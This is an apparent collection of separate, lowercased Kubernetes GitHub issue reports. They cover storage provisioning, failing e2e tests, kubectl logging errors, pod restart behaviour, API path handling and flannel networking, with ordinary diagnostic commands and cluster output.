i create the host-path storageclass，add start parments  to kube-controller-manager \r      - --enable-dynamic-provisioning=true\r     - --enable-hostpath-provisioner=true \r \r the storageclass yaml file :\r  kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   namespace: bigdata\r   name: hostpath\r   annotations:\r     storageclass.beta.kubernetes.io/is-default-class: \ false\ \r   labels:\r     kubernetes.io/cluster-service: \ true\ \r provisioner: kubernetes.io/host-path \r \r \r i find the host path dir is /tmp ,can i change this base dir?\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.6.4\r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release : centos7.3\r - kernel  e.g.  uname -a  :3.10\r

 \r the annotation has been deprecated for 2 releases but it seems its replacement was never implemented.\r

failing jobs\r  sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-parallel \r   failing tests\r  persistentvolumes nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted.  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  one pod requesting one prebound pvc should be able to mount volume and read from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  one pod requesting one prebound pvc should be able to mount volume and write from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should not set different fsgroups for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set fsgroup for one pod  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set same fsgroup for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  two pods mounting a local volume at the same time should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  two pods mounting a local volume one after the other should be able to write from pod1 and read from pod  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  one pod requesting one prebound pvc should be able to mount volume and write from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should not set different fsgroups for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set different fsgroup for second pod if first pod is deleted  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set fsgroup for one pod  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set same fsgroup for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  two pods mounting a local volume at the same time should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  two pods mounting a local volume one after the other should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set different fsgroup for second pod if first pod is deleted  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r  persistentvolumes-local  volume type: dir-link  one pod requesting one prebound pvc should be able to mount volume and read from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6268 \r \r  /  /milestone v1.12\r /cc @tpepper @aishsundar @kubernetes/sig-storage-test-failures \r /assign @msau42

\r  test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance  --gather-metrics-at-teardown=true --output-print-type=json --report-dir=$home/json\r \r failed to gather kube-scheduler memory profile: failed to run 'go tool pprof': exit status 1, stderr: \ /home/leeivan/json/profiles/kube-scheduler_memoryprofile_density.pprof: parsing profile: unrecognized profile format\ failed to fetch any source profiles\ \ \r 

kubectl get pods --v=8  is very handy for collecting wire traces of api communications, and is a good starting point for debugging problems, but exposes any bearer/basic auth in use. requiring redaction before posting output is probably not good.  cc @deads2k

i run nginx in pod. and config nginx with  keepalive_timeout 60 . as time goes by, i find there are so many close_wait tcp session. so i have to restart kube-proxy to resolve it.  when i make the nginx's configure  keepalive_timeout 0 , i find no close_wait.

i want to get the list of all pods that are ready to take requests. in order to do that i run the following queries:   kubectl get pods -l app=my-app -o jsonpath='{.items ? @.status.conditions ? @.type == \ ready\   .status == \ true\   .status.phase}'   or   kubectl get pods -l app=my-app -o jsonpath='{.items ? @.status.conditions   .type == \ ready\  && @.status.conditions   .status == \ true\   .status.phase}'   neither of them works. jsonpath doesn't support nested filters or multiple filters.

currently, kubernetes uses fluentd to read and export docker logs. the logs are json files which have been symlinked to  /var/log/containers/ .log  1   as rkt pods save logs as journal files under the pod's directory, in order for the fluentd to work for rkt pods, we need to make it understand the journal log files. we might need to symlink the log files under  /var/log/containers/  as well to apply necessary tags  @kubernetes/sig-node  @jonboulle @sjpotter  @vishh iirc, you have some plans of changing the current logging mechanism, if so, how would that look like? do you have any designs already?   1  https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.8/pkg/kubelet/dockertools/manager.go l1477

clarity problem at best, though i'm actually not sure why this run failed:  https://storage.cloud.google.com/kubernetes-jenkins/pr-logs/pull/24315/node-pull-build-e2e-test/2037/build-log.txt  is it because we failed to stop apiserver, failed to stop kubelet, rtnetlink exited with 2 or we got an empty map? every status on that page has  0 failed , so maybe build timeout?      /var/lib/jenkins/workspace/node-pull-build-e2e-test@2/go/src/k8s.io/kubernetes/test/e2e_node/privileged_test.go:84   should test privileged pod   /var/lib/jenkins/workspace/node-pull-build-e2e-test@2/go/src/k8s.io/kubernetes/test/e2e_node/privileged_test.go:83 ------------------------------ i0419 02:40:08.752824    2079 privileged_test.go:154  deserialized output is map error:exit status 2 output:rtnetlink answers: operation not permitted   â€¢â€¢â€¢i0419 02:40:12.800397    2079 e2e_node_suite_test.go:82  stopping node services... e0419 02:40:12.800415    2079 e2e_service.go:83  failed to stop kubelet. operation not permitted e0419 02:40:12.800429    2079 e2e_service.go:89  failed to stop be-apiserver. operation not permitted  ran 21 of 21 specs in 156.521 seconds success! -- 21 passed | 0 failed | 0 pending | 0 skipped pass i0419 02:40:12.802150    2079 e2e_node_suite_test.go:118                                                          ================================================================

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/1614/  run so broken it didn't make junit output!

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:30z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : linux k8s-master-30143214-0 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:29:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : acs\r -   others  :\r \r as of 1.6, the current dns providers are  aws  route53 , coredns, google,  clouddns   https://github.com/kubernetes/kubernetes/tree/master/federation/pkg/dnsprovider/providers . the ask is to implement a dns provider for azure.\r \r cc @xtophs @colemickens \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : aws tag\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r     \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : container linux by coreos stable  1353.7.0 \r -   kernel    e.g.  uname -a  : linux  4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  : tectonic installer\r -   others  :\r \r   what you expected to happen  :\r users should be able to specify extra tags for any aws resource created by the cluster, \r aws resources should have the cluster added tags and user defined.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r create a pvc, there is no way to specify extra tags.\r \r   anything else we need to know  :\r there is a pr for elb https://github.com/kubernetes/community/pull/404 that partially fix this issue.\r

this came up in https://github.com/kubernetes/kubernetes/pull/47788. we have a controller design principle state  here  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/principles.md control-logic  that:\r \r > functionality must be level-based, meaning the system must operate correctly given the desired state and the current/observed state, regardless of how many intermediate state updates may have been missed. edge-triggered behavior must be just an optimization.\r \r do shared informers that never resync or relist violate this design principle? did something change to make this no longer necessary? the shared informers used by most controllers in the contoller manager have a min resync default of 12 hours. i'm not sure if they relist.\r \r @kubernetes/sig-api-machinery-misc @davidopp

there is a hardcoded list of priorities that needs to be plumbed up from storage maps.\r \r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/aggregator.go l170

 /area kubectl\r \r \r   what happened  :\r kubectl -n sock-shop logs carts-2469883122-hdqwt -c carts\r error from server: get https://10.239.131.212:10250/containerlogs/sock-shop/carts-2469883122-hdqwt/carts: eof\r \r   what you expected to happen  :\r how can i debug and solve this issue?\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r i created a kubenetes cluster by the guide above. it worked well. and i can run \ kubectl logs pod\  correctly when the pod are in the master node.  but when the pod is in other nodes, it will return  eof error.\r cloud001-precision-tower-5810 is the master node.\r \r namespace     name                                                    ready     status    restarts   age       ip               node\r kube-system   etcd-cloud001-precision-tower-5810                      1/1       running   7          6d           cloud001-precision-tower-5810\r kube-system   kube-apiserver-cloud001-precision-tower-5810            1/1       running   7          6d           cloud001-precision-tower-5810\r kube-system   kube-controller-manager-cloud001-precision-tower-5810   1/1       running   7          6d           cloud001-precision-tower-5810\r kube-system   kube-dns-2425271678-wsr9m                               3/3       running   14         7d               cloud003-precision-tower-5810\r kube-system   kube-proxy-0mfg9                                        1/1       running   1          7d           cloud003-precision-tower-5810\r kube-system   kube-proxy-362tq                                        1/1       running   7          7d          cloud001-precision-tower-5810\r kube-system   kube-proxy-bcvg1                                        1/1       running   1          6d           cloud002-precision-tower-5810\r kube-system   kube-scheduler-cloud001-precision-tower-5810            1/1       running   7          6d           cloud001-precision-tower-5810\r kube-system   weave-net-6hkjl                                         2/2       running   2          6d           cloud002-precision-tower-5810\r kube-system   weave-net-pg282                                         2/2       running   2          6d        10.239.131.212   cloud003-precision-tower-5810\r kube-system   weave-net-z85q3                                         2/2       running   11         6d        10.239.131.215   cloud001-precision-tower-5810\r sock-shop     carts-2469883122-hdqwt                                  1/1       running   1          6d        10.40.0.4        cloud003-precision-tower-5810\r sock-shop     carts-db-1721187500-bbwdd                               1/1       running   1          6d        10.40.0.5        cloud003-precision-tower-5810\r sock-shop     catalogue-4293036822-s81vl                              1/1       running   1          6d        10.40.0.3        cloud003-precision-tower-5810\r sock-shop     catalogue-db-1846494424-wq504                           1/1       running   1          6d        10.40.0.11       cloud003-precision-tower-5810\r sock-shop     front-end-2337481689-939jv                              1/1       running   1          6d        10.40.0.12       cloud003-precision-tower-5810\r sock-shop     orders-733484335-hdd8k                                  1/1       running   1          6d        10.40.0.19       cloud003-precision-tower-5810\r sock-shop     orders-db-3728196820-28kh8                              1/1       running   1          6d        10.40.0.17       cloud003-precision-tower-5810\r sock-shop     payment-3050936124-9qbsn                                1/1       running   1          6d        10.40.0.18       cloud003-precision-tower-5810\r sock-shop     queue-master-2067646375-5nlvk                           1/1       running   1          6d        10.40.0.14       cloud003-precision-tower-5810\r sock-shop     rabbitmq-241640118-9z713                                1/1       running   1          6d        10.40.0.20       cloud003-precision-tower-5810\r sock-shop     shipping-2463450563-vc0gl                               1/1       running   1          6d        10.40.0.16       cloud003-precision-tower-5810\r sock-shop     user-1574605338-t7kd2                                   1/1       running   1          6d        10.40.0.2        cloud003-precision-tower-5810\r sock-shop     user-db-3152184577-zgvs6                                1/1       running   1          6d        10.40.0.13       cloud003-precision-tower-5810\r \r kubectl -n kube-system logs kube-proxy-0mfg9\r error from server: get https://xxxxx:10250/containerlogs/kube-system/kube-proxy-0mfg9/kube-proxy: eof\r \r \r   anything else we need to know?  :\r used proxy and added all the cluster nodes into no_proxy.\r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r physical server: cpu intel r  xeon r  cpu e5-1650 6 cores, ram 128g\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r 4.10.0-32-generic  36~16.04.1-ubuntu\r - install tools:\r kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r deploy a simple pod that let it exit normally.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: demo\r   labels:\r     purpose: demonstrate\r spec:\r   containers:\r   - name: command-demo\r     image: nginx:1.10\r     command:  \ echo\  \r     args:  \ $hostname\  \r    \r \r after it finished successfully, the pod run into a back-off loop that kept restarting again to \ crashloopbackoff\ .\r \r    \r $ kubectl get pod\r name                    ready     status             restarts   age\r demo                    0/1       crashloopbackoff   24         1h\r    \r \r    \r $ kubectl describe pod demo\r name:\t\tdemo\r namespace:\tdefault\r node:\t\t172.17.8.102/172.17.8.102\r start time:\twed, 27 sep 2017 15:38:22 +0800\r labels:\t\tpurpose=demonstrate\r annotations:\t<none>\r status:\t\trunning\r ip:\t\t10.244.99.9\r containers:\r   command-demo:\r     container id:\tdocker://ca01ccae7431003bb4c7aeab1811d429bd290cd15474bb2b90a59f90cdc5fe3a\r     image:\t\tnginx:1.10\r     image id:\t\tdocker-pullable://nginx@sha256:6202beb06ea61f44179e02ca965e8e13b961d12640101fca213efbfd145d7575\r     port:\t\t<none>\r     command:\r       echo\r     args:\r       hostname\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r       started:\t\twed, 27 sep 2017 15:41:24 +0800\r       finished:\t\twed, 27 sep 2017 15:41:24 +0800\r     ready:\t\tfalse\r     restart count:\t5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-8td07  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   default-token-8td07:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-8td07\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t\t-------\r   4m\t\t4m\t\t1\tdefault-scheduler\t\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned demo to 172.17.8.102\r   4m\t\t4m\t\t1\tkubelet, 172.17.8.102\t\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-8td07\  \r   4m\t\t3m\t\t4\tkubelet, 172.17.8.102\tspec.containers{command-demo}\tnormal\t\tpulled\t\t\tcontainer image \ nginx:1.10\  already present on machine\r   4m\t\t3m\t\t4\tkubelet, 172.17.8.102\tspec.containers{command-demo}\tnormal\t\tcreated\t\t\tcreated container\r   4m\t\t3m\t\t4\tkubelet, 172.17.8.102\tspec.containers{command-demo}\tnormal\t\tstarted\t\t\tstarted container\r   4m\t\t3m\t\t6\tkubelet, 172.17.8.102\tspec.containers{command-demo}\twarning\t\tbackoff\t\t\tback-off restarting failed container\r   4m\t\t3m\t\t6\tkubelet, 172.17.8.102\t\t\t\t\twarning\t\tfailedsync\t\terror syncing pod\r    \r   what you expected to happen  :\r to be in \ completed\  status\r \r   how to reproduce it  as minimally and precisely as possible   :\r as above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master branch\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r service controller mistakenly retries on service update failure even if  retry==false . see below codes:\r https://github.com/kubernetes/kubernetes/blob/ea07264251661eed115973df147029a6226eae47/pkg/controller/service/service_controller.go l244-l256\r \r   environment  :\r - kubernetes version  use  kubectl version  :  head  https://github.com/kubernetes/kubernetes/commit/ea07264251661eed115973df147029a6226eae47

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  : spurious  make quick-release  failures on master: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-build/30861/\r \r   what you expected to happen  : the build should be reliable and reproducible\r \r   how to reproduce it  as minimally and precisely as possible   :  make quick-release  on master repeatedly\r \r \r   anything else we need to know?  : it looks like it's related to a change in https://hub.docker.com/r/multiarch/qemu-user-static/ which we use here:\r https://github.com/kubernetes/kubernetes/blob/880dbd339b89fd7951fd2c12ded79fef112960a2/cluster/images/hyperkube/makefile l43\r \r  \r jeff and christoph have tracked it down this far, thanks!\r /cc @ixdy @cblecker \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in k8s 1.12.2, requests to api server for //version result in 404, whilst /version responds as expected.\r \r   what you expected to happen  :\r duplicate url path separators should be squashed. ie. //version and /version are equivalent. same for other paths  //metrics, //healthz, etc. \r \r   how to reproduce it  as minimally and precisely as possible   :\r    curl http://127.0.0.1:8080//version    gives 404 and a list of supported paths.\r \r   anything else we need to know?  :\r k8s 1.12.2\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r n/a\r \r - os  e.g. from /etc/os-release :\r    centos linux release 7.5.1804  core    \r \r - kernel  e.g.  uname -a  :\r    linux master-54c86b5a30c7.node.dev.consul 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux   \r \r - install tools:\r ansible\r \r - others:\r \r @kubernetes/sig-api-machinery-bugs\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r if kubelet plugin registration fails during the registration process, the kubelet never attempts to register the socket again  assuming the error was transient , unless the socket for the driver is deleted & recreated to trigger a new registration.\r \r   what you expected to happen  :\r maybe retry with exponential backoff when kubelet plugin registration fails instead of just logging and waiting for another filesystem event like it does today.\r \r of course, if a socket returns a terminal error  does not implement the kubelet plugin registration service, for example , we should not retry.\r \r follow up on https://github.com/kubernetes/kubernetes/pull/71440\r \r /milestone v1.14\r  \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r \r nearly all of the \ cache\  functionality has been moved from this package into  pkg/scheduler/internal/cache . what remains is  nodeinfo  and its related functionality.\r \r \r note: this package is imported in a handful of places outside of  pkg/scheduler .\r \r   /help\r /good-first-issue

\r @kubernetes/sig-contributor-experience-test-failures\r @kubernetes/sig-onprem\r @kubernetes/sig-network\r \r when i run kubectl get pods -o wide -n kube-system i get this statues:\r \r > \r > name                                    ready   status              restarts   age     ip             node          nominated node\r > coredns-757f4547d9-g6hd8                0/1     containercreating   0          47m     <none>         k8s-master    <none>\r > coredns-757f4547d9-xvzgx                1/1     running             0          53m     10.244.1.50    k8s-node-01   <none>\r > etcd-k8s-master                         1/1     running             5          3h35m   172.18.3.9     k8s-master    <none>\r > kube-apiserver-k8s-master               1/1     running             5          3h35m   172.18.3.9     k8s-master    <none>\r > kube-controller-manager-k8s-master      1/1     running             5          139m    172.18.3.9     k8s-master    <none>\r > kube-flannel-ds-amd64-4kxqv             1/1     running             0          55m     172.18.3.15    k8s-node-01   <none>\r > \r >  kube-flannel-ds-amd64-8qlg9             0/1     init:0/1            0          54m     172.18.3.9     k8s-master    <none>\r > \r > kube-flannel-ds-amd64-vtbbm             1/1     running             0          55m     172.18.3.16    k8s-node-02   <none>\r > kube-proxy-dpc99                        1/1     running             0          54m     172.18.3.16    k8s-node-02   <none>\r > \r >  kube-proxy-f9fgh                        0/1     containercreating   0          54m     172.18.3.9     k8s-master    <none>\r > \r > kube-proxy-pvflv                        1/1     running             0          54m     172.18.3.15    k8s-node-01   <none>\r > kube-scheduler-k8s-master               1/1     running             5          3h35m   172.18.3.9     k8s-master    <none>\r > kubernetes-dashboard-7459f9d896-g8zf5   1/1     running             1          91m     10.244.2.161   k8s-node-02   <none>\r > \r > \r > \r \r traced:\r \r > \r > root@k8s-master:~  kubectl describe pods kube-flannel-ds-amd64-8qlg9 -n kube-system\r > name:               kube-flannel-ds-amd64-8qlg9\r > namespace:          kube-system\r > priority:           0\r > priorityclassname:  <none>\r > node:               k8s-master/172.18.3.9\r > start time:         tue, 01 jan 2019 14:16:38 +0330\r > labels:             app=flannel\r >                     controller-revision-hash=6697bf5fc6\r >                     pod-template-generation=1\r >                     tier=node\r > annotations:        <none>\r > status:             pending\r > ip:                 172.18.3.9\r > controlled by:      daemonset/kube-flannel-ds-amd64\r > init containers:\r >   install-cni:\r >     container id:  \r >     image:         quay.io/coreos/flannel:v0.10.0-amd64\r >     image id:      \r >     port:          <none>\r >     host port:     <none>\r >     command:\r >       cp\r >     args:\r >       -f\r >       /etc/kube-flannel/cni-conf.json\r >       /etc/cni/net.d/10-flannel.conflist\r >     state:          waiting\r >       reason:       podinitializing\r >     ready:          false\r >     restart count:  0\r >     environment:    <none>\r >     mounts:\r >       /etc/cni/net.d from cni  rw \r >       /etc/kube-flannel/ from flannel-cfg  rw \r >       /var/run/secrets/kubernetes.io/serviceaccount from flannel-token-7mm6h  ro \r > containers:\r >   kube-flannel:\r >     container id:  \r >     image:         quay.io/coreos/flannel:v0.10.0-amd64\r >     image id:      \r >     port:          <none>\r >     host port:     <none>\r >     command:\r >       /opt/bin/flanneld\r >     args:\r >       --ip-masq\r >       --kube-subnet-mgr\r >     state:          waiting\r >       reason:       podinitializing\r >     ready:          false\r >     restart count:  0\r >     limits:\r >       cpu:     100m\r >       memory:  50mi\r >     requests:\r >       cpu:     100m\r >       memory:  50mi\r >     environment:\r >       pod_name:       kube-flannel-ds-amd64-8qlg9  v1:metadata.name \r >       pod_namespace:  kube-system  v1:metadata.namespace \r >     mounts:\r >       /etc/kube-flannel/ from flannel-cfg  rw \r >       /run from run  rw \r >       /var/run/secrets/kubernetes.io/serviceaccount from flannel-token-7mm6h  ro \r > conditions:\r >   type              status\r >   initialized       false \r >   ready             false \r >   containersready   false \r >   podscheduled      true \r > volumes:\r >   run:\r >     type:          hostpath  bare host directory volume \r >     path:          /run\r >     hostpathtype:  \r >   cni:\r >     type:          hostpath  bare host directory volume \r >     path:          /etc/cni/net.d\r >     hostpathtype:  \r >   flannel-cfg:\r >     type:      configmap  a volume populated by a configmap \r >     name:      kube-flannel-cfg\r >     optional:  false\r >   flannel-token-7mm6h:\r >     type:        secret  a volume populated by a secret \r >     secretname:  flannel-token-7mm6h\r >     optional:    false\r > qos class:       guaranteed\r > node-selectors:  beta.kubernetes.io/arch=amd64\r > tolerations:     :noschedule\r >                  node.kubernetes.io/disk-pressure:noschedule\r >                  node.kubernetes.io/memory-pressure:noschedule\r >                  